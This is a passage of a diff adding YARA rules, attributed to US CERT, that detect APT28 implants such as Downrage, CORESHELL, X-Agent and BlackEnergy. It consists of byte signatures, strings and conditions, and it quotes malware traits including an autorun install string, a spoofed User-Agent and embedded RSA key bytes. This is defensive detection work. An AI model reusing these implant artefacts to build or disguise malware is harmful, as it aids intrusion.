+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_1_v5 {
+   meta:
+      description = "Downrage Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "ac1c6175-3a8b-524b-bb18-243c52f7dba1"
+   strings:
+      $drivername = { 6A 30 ?? 6A 33 [5] 6A 37 [5] 6A 32 [5] 6A 31 [5] 6A 77
+         [5] 6A 69 [5] 6A 6E [5] 6A 2E [5] 6A 73 [5-9] 6A 79 [5] 6A 73 }
+      $mutexname = { C7 45 ?? 2F 2F 64 66 C7 45 ?? 63 30 31 65 C7 45 ?? 6C 6C
+         36 7A C7 45 ?? 73 71 33 2D C7 45 ?? 75 66 68 68 66 C7 45 ?? 66 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+
+/* TOO MANY FALSE POSITIVES
+
+rule IMPLANT_1_v6 {
+   meta:
+      description = "Downrage Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+   strings:
+      $XORopcodes_eax = { 35 (22 07 15 0e|56 d7 a7 0a) }
+      $XORopcodes_others = { 81 (F1|F2|F3|F4|F5|F6|F7) (22 07 15 0E|56 D7 A7 0A) }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025) and any of them
+}
+
+*/
+
+rule IMPLANT_1_v7 {
+   meta:
+      description = "Downrage Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "2a28273f-d9a1-5e80-bef1-b488eb0326bd"
+   strings:
+      $XOR_FUNCT = { C7 45 ?? ?? ?? 00 10 8B 0E 6A ?? FF 75 ?? E8 ?? ?? FF FF }
+   condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v1 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "058266d4-8dc5-5a26-9bc6-4c55ac646e9b"
+   strings:
+      $STR1 = { 8d ?? fa [2] e8 [2] FF FF C7 [2-5] 00 00 00 00 8D [2-5] 5? 6a 00 6a 01}
+   condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v3 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "747e4f76-b9c4-5988-90ae-b450548b1b82"
+   strings:
+      $STR1 = {C1 EB 07 8D ?? 01 32 1C ?? 33 D2 }
+      $STR2 = {2B ?? 83 ?? 06 0F 83 ?? 00 00 00 EB 02 33 }
+      $STR3 = {89 ?? ?? 89 ?? ?? 89 55 ?? 89 45 ?? 3B ?? 0F 83 ?? 00 00 00 8D
+         ?? ?? 8D ?? ?? FE }
+   condition:
+      (uint16(0) == 0x5A4D) and any of them
+}
+
+rule IMPLANT_2_v5 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "0e787116-d7f5-5a72-9aba-d4e6cb35bc8d"
+   strings:
+      $STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33
+         C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00
+         00 00 48 8B CC E8}
+   condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v6 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "ffadb02f-6311-567d-900b-c8a9ed172ab4"
+   strings:
+      $STR1 = { e8 [2] ff ff 8b [0-6] 00 04 00 00 7F ?? [1-2] 00 02 00 00 7F
+         ?? [1-2] 00 01 00 00 7F ?? [1-2] 80 00 00 00 7F ?? 83 ?? 40 7F}
+   condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v7 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "839041d9-e27b-52a2-b5d5-f1af595826f4"
+   strings:
+      $s1 = {10 A0 FA FD 83 3D 28 D4 1F FF 77 5? ?8 B4 50 CC 1E B0 78 D7 90 13
+         21 C0 23 3D 28 BC 78 95 DE 4B B0 60 00 00 0F 7F 38 B4 50 C8 D5 9F E0
+         25 DF F3 21 C0 28 BC 13 3D 2B 90 60 00 00 0F 7F 18 B4 50 C8 BC F2 21
+         C0 28 B4 5E 48 B5 5E 00 8D 41 FE 83 F8 06 8B 45 ?? 72 ?? 8B 4D ?? 8B }
+      $s2 = {28 D9 B0 00 00 00 00 FB 65 C0 AF E8 D3 40 28 B4 5? ?0 3C 20 FA FD
+         88 D7 A0 18 D4 2F F3 3D 2F 77 5? ?C 1E B0 78 BC 73 21 C0 A3 3D 2B 90
+         60 00 00 0F 7F 18 A4 D? ?8 B4 50 C8 0E 90 20 24 D? ?3 20 C0 28 B4 5?
+         ?3 3D 2F 77 5? ?8 B4 50 C2 20 C0 28 BD 70 2D 93 01 E8 B4 D0 C8 D4 2F
+         E3 B4 5E 88 B4 5? ?8 95 5? ?7 2A 05 F5 E5 B8 BE 55 DC 20 80 }
+   condition:
+      (uint16(0) == 0x5A4D) and any of them
+}
+
+rule IMPLANT_2_v9 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "41f46b52-4b0e-53ee-a86c-503fe9a9532c"
+   strings:
+      $STR1 = { 8A C3 02 C0 02 D8 8B 45 F8 02 DB 83 C1 02 03 45 08 88 5D 0F 89
+         45 E8 8B FF 0F B6 5C 0E FE 8B 45 F8 03 C1 0F AF D8 8D 51 01 89 55 F4
+         33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 F4 C1 EB 07 32 1C 32 33 D2
+         F7 F7 8A C1 02 45 0F 2C 02 32 04 32 33 D2 88 45 FF 8B C1 8B F7 F7 F6
+         8A 45 FF 8B 75 14 22 04 32 02 D8 8B 45 E8 30 1C 08 8B 4D F4 8D 51 FE
+         3B D7 72 A4 8B 45 E4 8B 7D E0 8B 5D F0 83 45 F8 06 43 89 5D F0 3B D8
+         0F 82 ?? ?? ?? ?? 3B DF 75 13 8D 04 7F 8B 7D 10 03 C0 2B F8 EB 09 33
+         C9 E9 5B FF FF FF 33 FF 3B 7D EC 0F 83 ?? ?? ?? ?? 8B 55 08 8A CB 02
+         C9 8D 04 19 02 C0 88 45 13 8D 04 5B 03 C0 8D 54 10 FE 89 45 E0 8D 4F
+         02 89 55 E4 EB 09 8D 9B 00 00 00 00 8B 45 E0 0F B6 5C 31 FE 8D 44 01
+         FE 0F AF D8 8D 51 01 89 55 0C 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B
+         45 0C C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 13 2C 02 32 04 32 33
+         D2 88 45 0B 8B C1 8B F7 F7 F6 8A 45 0B 8B 75 14 22 04 32 02 D8 8B 45
+         E4 30 1C 01 8B 4D 0C }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_2_v10 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "cb88ae0c-19e2-590c-9c13-78ac1dcc8c9f"
+   strings:
+      $STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8]
+         48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01}
+   condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v11 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "570d6996-ab16-556e-b790-e4c73d7bbffc"
+   strings:
+      $STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53
+         56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68
+         [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27}
+   condition:
+      (uint16(0) == 0x5A4D) and all of them
+}
+
+rule IMPLANT_2_v14 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "1e4958e7-e136-5600-bc16-36cdeeb3ea18"
+   strings:
+      $STR1 = {8B ?? 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA C1 EE 02 89
+         74 24 58 44 8B ?? 41 F7 ?? 8B CA BA 03 00 00 00 C1 E9 02 89 0C 24 8D
+         04 49 03 C0 44 2B ?? 44 89 ?? 24 04 3B F1 0F 83 ?? 01 00 00 8D 1C 76
+         4C 89 6C 24  }
+      $STR2 = {C5 41 F7 E0 ?? ?? ?? ?? ?? ?? 8D 0C 52 03 C9 2B C1 8B C8 ?? 8D
+         04 ?? 46 0F B6 0C ?? 40 02 C7 41 8D 48 FF 44 32 C8 B8 AB AA AA AA F7
+         E1 C1 EA 02 8D 04 52 03 C0 2B C8 B8 AB AA AA AA 46 22 0C ?? 41 8D 48
+         FE F7 E1 C1 EA 02 8D 04 52 03 C0 2B C8 8B C1 }
+      $STR3 = {41 F7 E0 C1 EA 02 41 8B C0 8D 0C 52 03 C9 2B C1 8B C8 42 8D 04
+         1B 46 0F B6 0C ?? 40 02 C6 41 8D 48 FF 44 32 C8 B8 AB AA AA AA F7 E1
+         C1 EA 02 8D 04 52 03 C0 2B C8 B8 AB AA AA AA }
+      $STR4 = {46 22 0C ?? 41 8D 48 FE F7 E1 C1 EA 02 8D 04 52 8B 54 24 58 03
+         C0 2B C8 8B C1 0F B6 4F FF 42 0F B6 04 ?? 41 0F AF CB C1 }
+   condition:
+      (uint16(0) == 0x5A4D) and any of them
+}
+
+rule IMPLANT_2_v15 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "9bdaebc1-86a0-5c21-b752-d69cdb70f082"
+   strings:
+      $XOR_LOOP1 = { 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 }
+      $XOR_LOOP2 = { 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 }
+      $XOR_LOOP3 = { 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_2_v16 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "2c54a749-c80b-5010-97b6-b74c54fd3d07"
+   strings:
+      $OBF_FUNCT = { 0F B6 1C 0B 8D 34 08 8D 04 0A 0F AF D8 33 D2 8D 41 FF F7
+         75 F8 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06
+         00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06
+         00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06
+         8B 5D F0 8D 41 FE 83 F8 06 8B 45 DC 72 9A }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and $OBF_FUNCT
+}
+
+rule IMPLANT_2_v17  {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "dc3a6b08-1ac4-5fa2-a710-657514d45606"
+   strings:
+      $STR1 = { 24108b44241c894424148b4424246836 }
+      $STR2 = { 518d4ddc516a018bd08b4de4e8360400 }
+      $STR3 = { e48178061591df75740433f6eb1a8b48 }
+      $STR4 = { 33d2f775f88b45d402d903c641321c3a }
+      $STR5 = { 006a0056ffd083f8ff74646a008d45f8 }
+   condition:
+      (uint16(0) == 0x5A4D) and 2 of them
+}
+
+rule IMPLANT_2_v18 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "5376ec57-f405-55cf-a23b-aafb1cb800e5"
+   strings:
+      $STR1 = { 8A C1 02 C0 8D 1C 08 8B 45 F8 02 DB 8D 4A 02 8B 55 0C 88 5D FF
+         8B 5D EC 83 C2 FE 03 D8 89 55 E0 89 5D DC 8D 49 00 03 C1 8D 34 0B 0F
+         B6 1C 0A 0F AF D8 33 D2 8D 41 FF F7 75 F4 8B 45 0C C1 EB 07 8D 79 01
+         32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 8B 45 0C 8D 59 FE
+         02 5D FF 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B 45 0C 8B CF 22
+         1C 02 8B 45 E4 8B 55 E0 02 C3 30 06 8B 5D DC 8D 41 FE 83 F8 06 8B 45
+         F8 72 9B 8B 4D F0 8B 5D D8 8B 7D 08 8B F0 41 83 C6 06 89 4D F0 89 75
+         F8 3B 4D D4 0F 82 ?? ?? ?? ?? 8B 55 E8 3B CB 75 09 8D 04 5B 03 C0 2B
+         F8 EB 02 33 FF 3B FA 0F 83 ?? ?? ?? ?? 8B 5D EC 8A C1 02 C0 83 C3 FE
+         8D 14 08 8D 04 49 02 D2 03 C0 88 55 0B 8D 48 FE 8D 57 02 03 C3 89 4D
+         D4 8B 4D 0C 89 55 F8 89 45 D8 EB 06 8D 9B 00 00 00 00 0F B6 5C 0A FE
+         8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42 FF 33 D2 F7 75 F4 C1
+         EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1 8A 4D F8 8B 45 0C 80
+         E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4 8B 45 0C 22 0C 02 8B
+         D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_2_v19 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "b4efdb3c-d7d6-5141-ad73-90d70582f8bd"
+   strings:
+      $obfuscated_RSA1 = { 7C 41 B4 DB ED B0 B8 47 F1 9C A1 49 B6 57 A6 CC D6
+         74 B5 52 12 4D FC B1 B6 3B 85 73 DF AB 74 C9 25 D8 3C EA AE 8F 5E D2
+         E3 7B 1E B8 09 3C AF 76 A1 38 56 76 BB A0 63 B6 9E 5D 86 E4 EC B0 DC
+         89 1E FA 4A E5 79 81 3F DB 56 63 1B 08 0C BF DC FC 75 19 3E 1F B3 EE
+         9D 4C 17 8B 16 9D 99 C3 0C 89 06 BB F1 72 46 7E F4 0B F6 CB B9 C2 11
+         BE 5E 27 94 5D 6D C0 9A 28 F2 2F FB EE 8D 82 C7 0F 58 51 03 BF 6A 8D
+         CD 99 F8 04 D6 F7 F7 88 0E 51 88 B4 E1 A9 A4 3B }
+      $cleartext_RSA1 = { 06 02 00 00 00 A4 00 00 52 53 41 31 00 04 00 00 01
+         00 01 00 AF BD 26 C9 04 65 45 9F 0E 3F C4 A8 9A 18 C8 92 00 B2 CC 6E
+         0F 2F B2 71 90 FC 70 2E 0A F0 CA AA 5D F4 CA 7A 75 8D 5F 9C 4B 67 32
+         45 CE 6E 2F 16 3C F1 8C 42 35 9C 53 64 A7 4A BD FA 32 99 90 E6 AC EC
+         C7 30 B2 9E 0B 90 F8 B2 94 90 1D 52 B5 2F F9 8B E2 E6 C5 9A 0A 1B 05
+         42 68 6A 3E 88 7F 38 97 49 5F F6 EB ED 9D EF 63 FA 56 56 0C 7E ED 14
+         81 3A 1D B9 A8 02 BD 3A E6 E0 FA 4D A9 07 5B E6 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+
+rule IMPLANT_2_v20 {
+   meta:
+      description = "CORESHELL/SOURFACE Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "323ee676-802d-55e6-a97a-48eb3a4e4a5f"
+   strings:
+      $func = { 0F B6 5C 0A FE 8D 34 02 8B 45 D4 03 C2 0F AF D8 8D 7A 01 8D 42
+         FF 33 D2 F7 75 F4 C1 EB 07 8B C7 32 1C 0A 33 D2 B9 06 00 00 00 F7 F1
+         8A 4D F8 8B 45 0C 80 E9 02 02 4D 0B 32 0C 02 8B 45 F8 33 D2 F7 75 F4
+         8B 45 0C 22 0C 02 8B D7 02 D9 30 1E 8B 4D 0C 8D 42 FE 3B 45 E8 8B 45
+         D8 89 55 F8 72 A0 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+rule IMPLANT_3_v1 {
+   meta:
+      description = "X-Agent/CHOPSTICK Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "d539bb31-18b2-5cf5-b994-daecd5f8c771"
+   strings:
+      $STR1 = ">process isn't exist<" ascii wide
+      $STR2 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" ascii wide
+      $STR3 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0" ascii wide
+      $STR4 = "webhp?rel=psy&hl=7&ai=" ascii wide
+      $STR5 = {0f b6 14 31 88 55 ?? 33 d2 8b c1 f7 75 ?? 8b 45 ?? 41 0f b6 14
+         02 8a 45 ?? 03 fa}
+   condition:
+      any of them
+}
+
+rule IMPLANT_3_v2 {
+   meta:
+      description = "X-Agent/CHOPSTICK Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "349c65cf-547f-5837-af71-f9721e029b74"
+   strings:
+      $base_key_moved = {C7 45 ?? 3B C6 73 0F C7 45 ?? 8B 07 85 C0 C7 45 ?? 74
+         02 FF D0 C7 45 ?? 83 C7 04 3B C7 45 ?? FE 72 F1 5F C7 45 ?? 5E C3 8B
+         FF C7 45 ?? 56 B8 D8 78 C7 45 ?? 75 07 50 E8 C7 45 ?? B1 D1 FF FF C7
+         45 ?? 59 5D C3 8B C7 45 ?? FF 55 8B EC C7 45 ?? 83 EC 10 A1 66 C7 45
+         ?? 33 35}
+      $base_key_b_array = {3B C6 73 0F 8B 07 85 C0 74 02 FF D0 83 C7 04 3B FE
+         72 F1 5F 5E C3 8B FF 56 B8 D8 78 75 07 50 E8 B1 D1 FF FF 59 5D C3 8B
+         FF 55 8B EC 83 EC 10 A1 33 35 }
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and any of them
+}
+
+rule IMPLANT_3_v3 {
+   meta:
+      description = "X-Agent/CHOPSTICK Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      modified = "2021-03-15"
+      score = 65
+      id = "ce82511e-715a-53cb-98e5-5d51b94726d5"
+   strings:
+      $STR1 = ".?AVAgentKernel@@"
+      $STR2 = ".?AVIAgentModule@@"
+      $STR3 = "AgentKernel"
+
+      $fp1 = "Panda Security S.L." wide
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 1 of ($STR*)
+      and not 1 of ($fp*)
+}
+
+rule IMPLANT_4_v1 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "be4d222f-009f-5dde-93da-376626a77263"
+   strings:
+      $STR1 = {55 8B EC 81 EC 54 01 00 00 83 65 D4 00 C6 45 D8 61 C6 45 D9 64
+         C6 45 DA 76 C6 45 DB 61 C6 45 DC 70 C6 45 DD 69 C6 45 DE 33 C6 45 DF
+         32 C6 45 E0 2EE9 ?? ?? ?? ??} $STR2 = {C7 45 EC 5A 00 00 00 C7 45 E0
+            46 00 00 00 C7 45 E8 5A 00 00 00 C7 45 E4 46 00 00 00}
+   condition:
+      (uint16(0)== 0x5A4D or uint16(0) == 0xCFD0 or uint16(0)== 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 1 of them
+}
+
+rule IMPLANT_4_v2 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "2edaeb08-19bc-5ab4-bc75-40c16ba85d9f"
+   strings:
+      $BUILD_USER32 = {75 73 65 72 ?? ?? ?? 33 32 2E 64}
+      $BUILD_ADVAPI32 = {61 64 76 61 ?? ?? ?? 70 69 33 32}
+      $CONSTANT = {26 80 AC C8}
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+/* Some false positives - replaced with alternative rule (see below)
+
+rule IMPLANT_4_v3 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+   strings:
+      $a1 = "Adobe Flash Player Installer" wide nocase
+      $a3 = "regedt32.exe" wide nocase
+      $a4 = "WindowsSysUtility" wide nocase
+      $a6 = "USB MDM Driver" wide nocase
+      $b1 = {00 05 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00
+         4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00
+         00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 3F 00 00 00
+         00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+         00 5C 04 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00
+         6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 1C 02 00 00 01 00 30 00 30
+         00 31 00 35 00 30 00 34 00 62 00 30 00 00 00 4C 00 16 00 01 00 43 00
+         6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00
+         00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00
+         6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 46
+         00 0F 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00
+         69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 55 00 53 00 42 00 20
+         00 4D 00 44 00 4D 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00 00 00
+         00 00 3C 00 0E 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73
+         00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00
+         30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 4A 00 13 00 01 00 4C
+         00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00
+         68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74
+         00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 31 00 33 00 00 00 00 00
+         3E 00 0B 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46
+         00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 75 00 73 00 62 00
+         6D 00 64 00 6D 00 2E 00 73 00 79 00 73 00 00 00 00 00 66 00 23 00 01
+         00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00
+         00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20
+         00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00
+         72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65
+         00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00
+         63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E
+         00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00
+         00 00 1C 02 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 62 00 30
+         00 00 00 4C 00 16 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00
+         4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73
+         00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00
+         74 00 69 00 6F 00 6E 00 00 00 46 00 0F 00 01 00 46 00 69 00 6C 00 65
+         00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6F 00 6E 00
+         00 00 00 00 55 00 53 00 42 00 20 00 4D 00 44 00 4D 00 20 00 44 00 72
+         00 69 00 76 00 65 00 72 00 00 00 00 00 3C 00 0E 00 01 00 46 00 69 00
+         6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35
+         00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00
+         32 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F
+         00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43 00 6F 00 70 00
+         79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43 00 29 00 20 00 32
+         00 30 00 31 00 33 00 00 00 00 00 3E 00 0B 00 01 00 4F 00 72 00 69 00
